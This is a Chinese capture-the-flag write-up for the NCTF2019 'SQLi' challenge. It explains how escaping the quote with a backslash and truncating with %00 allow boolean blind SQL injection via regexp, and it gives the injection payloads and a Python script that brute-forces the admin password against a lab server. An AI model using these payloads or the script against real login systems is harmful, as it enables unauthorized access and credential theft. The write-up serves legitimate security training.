[NCTF2019]SQLi®exp注入
知识点:
- 无引号闭合,可以利用转义符 \
- %00作为截断字符可以代替注释符#和-- -
- regexp注入可以配合 ^ 来爆破字符
解题:
打开题目得到:
可以看做插入语句:select * from users where username='' and passwd=''
在robots.txt页面发现:
访问hint.txt页面:
发现没有过滤 " 和 \并且当密码和admin密码相同时就能得到flag
所有构造playload:
username=&passwd=||1;%00
测试:
username=&passwd=||0;%00
发现为ture时返回Location: welcome.php
可以利用bool盲注进行注入,爆破passwdplayload:
username=\&passwd=||passwd/**/regexp/**/"^y";%00
利用python脚本爆破密码:
import requests from urllib import parse import string import time url='http://ace11359-ed0b-4d9e-916a-74179b3d4dc2.node4.buuoj.cn:81/index.php' string= string.ascii_lowercase + string.digits + '_' flag='' for i in range(100): for j in string: data={ "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00')), #'passwd':'||/*1*/passwd/*1*/regexp/*1*/"^{}";{}'.format(i,'%00'), 'username':"\\" } #print(data) res = requests.post(url=url,data=data).text #print(res) if 'welcome' in res: flag+=j print(flag) #print(res) break time.sleep(0.1) time.sleep(0.1)
随便输入一个用户,用admin的密码登陆得到flag
参考博客:
https://blog.csdn.net/weixin_45669205/article/details/116137824